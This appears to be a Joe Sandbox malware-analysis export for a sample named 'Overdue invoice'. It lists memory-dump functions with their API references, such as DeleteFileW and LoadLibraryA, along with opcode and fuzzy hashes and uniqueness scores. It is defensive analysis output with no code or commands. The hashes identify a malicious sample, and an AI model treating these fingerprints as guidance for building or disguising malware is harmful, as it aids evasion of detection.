Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 6553eeb147aa19833b9ffe0f317fd2c497649461c95b0cd53e7303b1adba1055
Instruction ID: cff15a99e44bb963df990a04880650802d072a1473abdb408eae77921f2e3cf8
Opcode Fuzzy Hash: 6553eeb147aa19833b9ffe0f317fd2c497649461c95b0cd53e7303b1adba1055
Instruction Fuzzy Hash: 9771DB39902258CFDBA5DF30D8886A9B7B2FF4570AF6041DAE90AA7340DB355D81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7CB1 Relevance: 1.6, APIs: 1, Instructions: 131COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 2d5768fbab17051bbf0180070cb82c9694cbac03a01c1cc9d4b6340d41512355
Instruction ID: a316e6f1c5a3c18365cc93a249dc394460463b56188f25763033f0fd1c309a10
Opcode Fuzzy Hash: 2d5768fbab17051bbf0180070cb82c9694cbac03a01c1cc9d4b6340d41512355
Instruction Fuzzy Hash: 9561DB39902258CFDB65EF30D8886A9B7B2FF4570AF6041EAE90A97340DB355D82CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7CEF Relevance: 1.6, APIs: 1, Instructions: 126COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 4dd30fb118a54d22bfe1c67c4211bbb7b1c69d2924539717b125694bec9610e6
Instruction ID: 14bd7c2c85d96f377dab8f51d353f5b2dc60545c3a0c6c8609060a41e6331a18
Opcode Fuzzy Hash: 4dd30fb118a54d22bfe1c67c4211bbb7b1c69d2924539717b125694bec9610e6
Instruction Fuzzy Hash: 0951EB39902258CFCB65DF70D8886A9B7B2FF4570AF6041DAE50A97340DB355D81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7D39 Relevance: 1.6, APIs: 1, Instructions: 119COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 1cf4891e72f7ed3cbfdbe6afe97ce5c398b185447e4fb2277fccf94f4454331d
Instruction ID: 4a203a5eae2605e8f79cfd24a03f40fc4086cab9eb4fad3ccd97d2add73ffe4b
Opcode Fuzzy Hash: 1cf4891e72f7ed3cbfdbe6afe97ce5c398b185447e4fb2277fccf94f4454331d
Instruction Fuzzy Hash: 2451EB39902258CFCBA5DF20D8886A9B7B2FF4670AF6041DAD90E97350DB355D81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7D83 Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 7d5d0e582f2cc15b79dbf99a943810ca681eb172843dced72c871c66435240bb
Instruction ID: 38fa26599c7556b65a639397311433509f18fec3d33e0f8a11bfa1d9d86ae038
Opcode Fuzzy Hash: 7d5d0e582f2cc15b79dbf99a943810ca681eb172843dced72c871c66435240bb
Instruction Fuzzy Hash: FE51FA39902258CFCBA5DF20D8886A9B7B2FF4570AF6041EAE50A97350DF355D81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7DC1 Relevance: 1.6, APIs: 1, Instructions: 105COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: e1f47741d3a611c15ee668b2ab58ec1f57923517f6f69207af35585cc99b8a3d
Instruction ID: d8364d3ddbfc779c6f36b39338a8a6a968cfb1890dcfb5e20cb545da6b9fcad3
Opcode Fuzzy Hash: e1f47741d3a611c15ee668b2ab58ec1f57923517f6f69207af35585cc99b8a3d
Instruction Fuzzy Hash: 6151FA39902268CFCB65DF20D8886A9B7B2FF4570AF6041EAE90EA7340DB355D81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7E0B Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 6ffd6213d5c842eddfec40c9bc78e5f384f145e0992dd5e69a135bea29e7352f
Instruction ID: 5e6c8a811752c9ec26c3f31e3ca80516da2efe77a3c26eefa06fa137d268cb7d
Opcode Fuzzy Hash: 6ffd6213d5c842eddfec40c9bc78e5f384f145e0992dd5e69a135bea29e7352f
Instruction Fuzzy Hash: D151EA39902268CFCB65DF20D8886A9B7B2FF4670AF6041EAE90A97350DF355D81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E63D9 Relevance: 1.6, APIs: 1, Instructions: 96fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(00000000), ref: 064E64A0

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: a0bdc88badf784d6cce5c2ff229a4a29040b4b6b11a26c30c34793b3fae00e97
Instruction ID: ab58ee6b8b8cbaa4d0855b49e8484d5e88d1f7450b806c4375978259d3ef1d7a
Opcode Fuzzy Hash: a0bdc88badf784d6cce5c2ff229a4a29040b4b6b11a26c30c34793b3fae00e97
Instruction Fuzzy Hash: 0631CE70D046999FCB11CFAAD800BDEBBB4EF4A220F0581ABE444A7341D738A945CFE1

Uniqueness

Uniqueness Score: -1.00%

Function 064E7E55 Relevance: 1.6, APIs: 1, Instructions: 91COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 8d32a928946a80b5cd8eaa4393e3c33f4516704ff64be04b5f6242f28ac84fb5
Instruction ID: 37ba82754623813778eb33ccd917a69cb9952043bb35b7765e45506d965bab73
Opcode Fuzzy Hash: 8d32a928946a80b5cd8eaa4393e3c33f4516704ff64be04b5f6242f28ac84fb5
Instruction Fuzzy Hash: D541EC39902268CFCB65DF20D8886A9B7B2FF4670AF6041EAD50AA7340DB355E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 016DC905 Relevance: 1.6, APIs: 1, Instructions: 91libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?), ref: 016DC9DA

Memory Dump Source

Source File: 00000007.00000002.521039244.00000000016D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16d0000_Overdue invoice.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a3f742ebd6041634c74543c2f3dd15fa66a53bc4494ca42cbf4c24ba13e92c25
Instruction ID: 4dcedd2f4a4bbc72535e59a5ba4209434b6f0997621e6a5a81acdd72e4ac7995
Opcode Fuzzy Hash: a3f742ebd6041634c74543c2f3dd15fa66a53bc4494ca42cbf4c24ba13e92c25
Instruction Fuzzy Hash: F53103B1D042599FDB14CFA9C885BAEBFB1BF48314F14812EE856AB380D7749446CF92

Uniqueness

Uniqueness Score: -1.00%

Function 016D9C7C Relevance: 1.6, APIs: 1, Instructions: 89libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?), ref: 016DC9DA

Memory Dump Source

Source File: 00000007.00000002.521039244.00000000016D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16d0000_Overdue invoice.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 46984ac72839a1627cc5be353703cc824296fcb56367a56b7c93464d8935a8a0
Instruction ID: 00168835631f3873fbc433d8c320fc91d075a8b574108d02142e0199cb88182c
Opcode Fuzzy Hash: 46984ac72839a1627cc5be353703cc824296fcb56367a56b7c93464d8935a8a0
Instruction Fuzzy Hash: 1D3134B1D0025D8FDB14CFA9C885BAEBBF1BB48314F14812EE816AB380D7749442CF92

Uniqueness

Uniqueness Score: -1.00%

Function 064E7E9F Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 7b0f2acbe74ba18a0bd3159a6f07c750d0393cb81ba0057b81e3393df5a6e8cf
Instruction ID: 8bdaf95823ad67860ef83dd6a2a0f2d0bdcaf331bca41c600acf8ef36d95f138
Opcode Fuzzy Hash: 7b0f2acbe74ba18a0bd3159a6f07c750d0393cb81ba0057b81e3393df5a6e8cf
Instruction Fuzzy Hash: 7041EC35902268CFCB65DF20D8886A9B7B2FF4630AF6041EAE50A97340DF355E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7EE9 Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 5cd360c3bce1bb0dc5c95d8ce7e924bfe1544a8479b9f85b9e7499160d5d9761
Instruction ID: ccd4b0b382b2b2ea116b7bedcbe312a099cc4f123b964947b640ba3c7065f257
Opcode Fuzzy Hash: 5cd360c3bce1bb0dc5c95d8ce7e924bfe1544a8479b9f85b9e7499160d5d9761
Instruction Fuzzy Hash: 8441FC35902268CFDB65DF20D8886ADB7B2FF4630AF6041EAE50A97340DB355E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7F33 Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 333fc2e8e0211efd01589cefd1fdcffddc8bbd7c371d7a7fdda0522b73c53e0e
Instruction ID: e1a68709bfc232a2a8e43fb638c942a2c0e46488aeffe01382254b8ca6ee05bb
Opcode Fuzzy Hash: 333fc2e8e0211efd01589cefd1fdcffddc8bbd7c371d7a7fdda0522b73c53e0e
Instruction Fuzzy Hash: A0310C35902268CFCB65DF20D8886A9B7B2FF4630AF6041EAE50A97340DB355E81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E7F7D Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 234c649fa44cb84f6c6b1e5ce9b1b0a98d6bd5dac75ed0732245b49c9f108ded
Instruction ID: e146ef70d16429f3620fd18e76766a80daa3c027af488be7e8c8cb1bdd9b41b8
Opcode Fuzzy Hash: 234c649fa44cb84f6c6b1e5ce9b1b0a98d6bd5dac75ed0732245b49c9f108ded
Instruction Fuzzy Hash: A531DD35A02268CFDB65DF60D8886ADB7B2FF4630AF6041DAD50A97340DB355D81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E57BC Relevance: 1.6, APIs: 1, Instructions: 59fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(00000000), ref: 064E64A0

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 3559d961d238a44392d25fa9e3ef5173ee60b899723193cebea640dbea1fca06
Instruction ID: 02f938e0ee5dc8c6a7e0c6e1c64a4bfb7aa7731ea7df7c17b901899a29944c3e
Opcode Fuzzy Hash: 3559d961d238a44392d25fa9e3ef5173ee60b899723193cebea640dbea1fca06
Instruction Fuzzy Hash: 932144B1C006599BCB10CF9AC544BAEFBB4AF48224F15826AE818B7740D738A944CFE5

Uniqueness

Uniqueness Score: -1.00%

Function 016D4CDB Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 016D4D62

Memory Dump Source

Source File: 00000007.00000002.521039244.00000000016D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16d0000_Overdue invoice.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: f2ba848023eabfd08b12d8371473c1bd515c655031b16631cc91373507cac212
Instruction ID: 9338466132dd01d094c16f27e26cf2d9d06fc683f2e74c0fa662c5fc44dd93c3
Opcode Fuzzy Hash: f2ba848023eabfd08b12d8371473c1bd515c655031b16631cc91373507cac212
Instruction Fuzzy Hash: F821DE72C003458FDB20EFA9C84879EBBF8EB48728F10802AD405A3601C7389809CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 064E7FC7 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: a74028127b7a839396647fffc92754427b3aa53f5856dc3b7698d455f7f32ed7
Instruction ID: 4d72e11a946c94cddf527f537ec58e346f6a383c4b48c2f8cb86b7f304c0a844
Opcode Fuzzy Hash: a74028127b7a839396647fffc92754427b3aa53f5856dc3b7698d455f7f32ed7
Instruction Fuzzy Hash: DA210A35A02268CFCB65DF60D8886A9B7B2FF4630AF6041EAE50AA7340DF315D81CF41

Uniqueness

Uniqueness Score: -1.00%

Function 016D4CE8 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 016D4D62

Memory Dump Source

Source File: 00000007.00000002.521039244.00000000016D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16d0000_Overdue invoice.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: cd231ad74cf4b3dfb496afc7c2009d7223abd8ae125fc56050b7a483b161e59c
Instruction ID: 2fbf2dbf7ed68bfef1cf31a5f7fa685559cb3b1194d62b51f0b59bbd56929e77
Opcode Fuzzy Hash: cd231ad74cf4b3dfb496afc7c2009d7223abd8ae125fc56050b7a483b161e59c
Instruction Fuzzy Hash: 5211AC71D003498FDB50EFA9C84879EBBF4EB45724F10842AD405A3B41CB38A849CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 064E8011 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: c0bb1d703c25ab6979435c57a77dca7b8b729e88f168d53f81f9dafc25003ff3
Instruction ID: 0d7e334518191cfeb80111381547a4cf661f4ff417cb80f8f67b05bc9c4b5c09
Opcode Fuzzy Hash: c0bb1d703c25ab6979435c57a77dca7b8b729e88f168d53f81f9dafc25003ff3
Instruction Fuzzy Hash: F521DB35A02268CFCB65DF60D8886ADB7B6FF46306F5041EAE54AA7340DB315D81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 064E805B Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: d57fe4f17d7b58d04e40880c1806546dc303c228046d4abc2c29080d3229d627
Instruction ID: 5b8b828c55309c171905ba6c5f04d1973db56dad1ed3955a1599880bf7b5bde6
Opcode Fuzzy Hash: d57fe4f17d7b58d04e40880c1806546dc303c228046d4abc2c29080d3229d627
Instruction Fuzzy Hash: DA113C35A01268CFCB65EF60E8886ADB7B6FF4A306F5001EAE54A97250DF315D81CF41

Uniqueness

Uniqueness Score: -1.00%

Function 064E8099 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: fdfad05f62bcfdaf354f5a011c4f5ee2d518e34340d78ea52eb81df2c0d58c29
Instruction ID: cbe21705306fb569f1c70d4bfbc2b450fb18a3fa736914b5ed6b3c3033c90dba
Opcode Fuzzy Hash: fdfad05f62bcfdaf354f5a011c4f5ee2d518e34340d78ea52eb81df2c0d58c29
Instruction Fuzzy Hash: F601E935E01268CFCB64DF60E8886ADB7B5FF46306F1041EAE50AA7240DB305E81CF91

Uniqueness

Uniqueness Score: -1.00%

Function 064E80E3 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 76657c47624b2c5889382c4a189b4b570f4852006f506c7264fc9f9ebc67a541
Instruction ID: 995bd46eb579f5980c3f0f891eb51b3f0d6d84bda5fc1aa3d3b4f72c71618cd9
Opcode Fuzzy Hash: 76657c47624b2c5889382c4a189b4b570f4852006f506c7264fc9f9ebc67a541
Instruction Fuzzy Hash: 24F0B635E01268CFCB649F64E888699B7B5FF45315F1041EAE50AA3250DB305E81CF91

Uniqueness

Uniqueness Score: -1.00%

Function 064E812D Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 064E8156

Memory Dump Source

Source File: 00000007.00000002.526519437.00000000064E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_64e0000_Overdue invoice.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: f33e26e824bb0c57d907135985b9c90ab16e317010d36bfddbe076db9fa142c6
Instruction ID: 0548b4305e62058f68f70d0cfc19ead63daf4608daa8fc7994a310416069b236
Opcode Fuzzy Hash: f33e26e824bb0c57d907135985b9c90ab16e317010d36bfddbe076db9fa142c6
Instruction Fuzzy Hash: F6F09235A01228CFCB64AF64E8896D9B7B5FB45706F1141EAE60AA3244DB306E818F91

Uniqueness

Uniqueness Score: -1.00%

Function 06C65B28 Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

P@Jm, xrefs: 06C65BAF

Memory Dump Source

Source File: 00000007.00000002.526970656.0000000006C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c60000_Overdue invoice.jbxd

Similarity

API ID:
String ID: P@Jm
API String ID: 0-2739332884
Opcode ID: 7bd8a0832516c625bbfffa6098d6093b0b19ff8db1c48e506ea79840f4c9651a
Instruction ID: b2d477811038058441421b6079bf89ce299325839de37364004cec962aec2745
Opcode Fuzzy Hash: 7bd8a0832516c625bbfffa6098d6093b0b19ff8db1c48e506ea79840f4c9651a
Instruction Fuzzy Hash: 0031E631B00204AFCB54AB76C854AAEBBF6EF8D240B65892DE406DB344DF359D01CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 06C65B38 Relevance: 1.3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

P@Jm, xrefs: 06C65BAF

Memory Dump Source

Source File: 00000007.00000002.526970656.0000000006C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c60000_Overdue invoice.jbxd

Similarity

API ID:
String ID: P@Jm
API String ID: 0-2739332884
Opcode ID: 253e233597f3bbda409353a6ed6d72b09ea22f4f837c8b0f96d8cb3af9da6547
Instruction ID: 2bf44470db2c5da99797b2e7411c88ed709395a2fbf082822b16ae6cd414c89b
Opcode Fuzzy Hash: 253e233597f3bbda409353a6ed6d72b09ea22f4f837c8b0f96d8cb3af9da6547
Instruction Fuzzy Hash: 0D31C231B042049FCB54AB75C8546AEB7E7AF8D240B65892DE406EB384DF309D01CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 06C6A0B8 Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

\, xrefs: 06C6A131

Memory Dump Source

Source File: 00000007.00000002.526970656.0000000006C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c60000_Overdue invoice.jbxd

Similarity

API ID:
String ID: \
API String ID: 0-2967466578
Opcode ID: 4bde62572d8dbf345a7eabe8b1c82eb0eefa3e7343fb1e25a0ef635af6e122e0
Instruction ID: 54c3089d28690fa679a8c4d8755ac4a3befe20dfe8748f66ca0ab707b1a05472
Opcode Fuzzy Hash: 4bde62572d8dbf345a7eabe8b1c82eb0eefa3e7343fb1e25a0ef635af6e122e0
Instruction Fuzzy Hash: CC21C171B001059FDF98DBAA8D80BBFB6AAAFC4604F10852DE519E7280EF74D94187E5

Uniqueness

Uniqueness Score: -1.00%

Function 06C6A050 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

\, xrefs: 06C6A131

Memory Dump Source

Source File: 00000007.00000002.526970656.0000000006C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c60000_Overdue invoice.jbxd

Similarity

API ID:
String ID: \
API String ID: 0-2967466578
Opcode ID: d93e545a3295031a53b53ac8279e3beca6fc5bc99357b64f095e5f55ac7204a8
Instruction ID: e6b027e03fb34087ee7fef8def06f73123335b95391e4b5ff5f089d806a986d9
Opcode Fuzzy Hash: d93e545a3295031a53b53ac8279e3beca6fc5bc99357b64f095e5f55ac7204a8
Instruction Fuzzy Hash: 85213132A042449FDB46DBAA8C906BF77B1AF82204F11816EE515EB1C1EB749D4483E9

Uniqueness

Uniqueness Score: -1.00%

Function 06C6A0B3 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

\, xrefs: 06C6A131

Memory Dump Source

Source File: 00000007.00000002.526970656.0000000006C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c60000_Overdue invoice.jbxd

Similarity

API ID:
String ID: \
API String ID: 0-2967466578
Opcode ID: e28637b897acaa968219f8a4af7c1e4f78ffe8e7fc0a28984877d5054f2ea519
Instruction ID: 5c80a0f4e16160fb6fd9e3bdea4f539b7f90f2ab02ec7531529c804602bfe6ee
Opcode Fuzzy Hash: e28637b897acaa968219f8a4af7c1e4f78ffe8e7fc0a28984877d5054f2ea519
Instruction Fuzzy Hash: 6E21C571E00105AEDB54DBEA8D81BBFB6F9EBC4604F10812EE519E7280EFB4D94187E5

Uniqueness

Uniqueness Score: -1.00%

Function 06C6A1BF Relevance: 1.3, Strings: 1, Instructions: 73COMMON

Download Yara Rule

Strings

\, xrefs: 06C6A201

Memory Dump Source

Source File: 00000007.00000002.526970656.0000000006C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c60000_Overdue invoice.jbxd

Similarity

API ID:
String ID: \
API String ID: 0-2967466578
Opcode ID: 925d409d0070807effe88d81ddc91e5d6f85dd5c380e69ece7027fe504f36343
Instruction ID: 53bdeb9db969ba4b100bd4d3c0726415464eaefc80f41d6c7f6e7b5be7ca4a10
Opcode Fuzzy Hash: 925d409d0070807effe88d81ddc91e5d6f85dd5c380e69ece7027fe504f36343
Instruction Fuzzy Hash: 88217171F002108BDB649FBAD88476E76A6AB88314F24853DE519EB384DB75DC42CBE4

Uniqueness

Uniqueness Score: -1.00%

Function 06C64EB0 Relevance: .6, Instructions: 581COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.526970656.0000000006C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c60000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2310dae78eb368a31ab5f71823ed73a62630958a6707435bacd1aa6be80a12a
Instruction ID: 0ec2a7943fa9535c2c425dfff9fc9bc163b50bd31ecd8f99a71db49feb61b24d
Opcode Fuzzy Hash: e2310dae78eb368a31ab5f71823ed73a62630958a6707435bacd1aa6be80a12a
Instruction Fuzzy Hash: 8E22B134E002089FCB50EFB5D9986AEBBB6EF89304F608969E405DB364DB34DD41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 06C67668 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.526970656.0000000006C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c60000_Overdue invoice.jbxd

Similarity

API ID:
String ID:
API String ID:
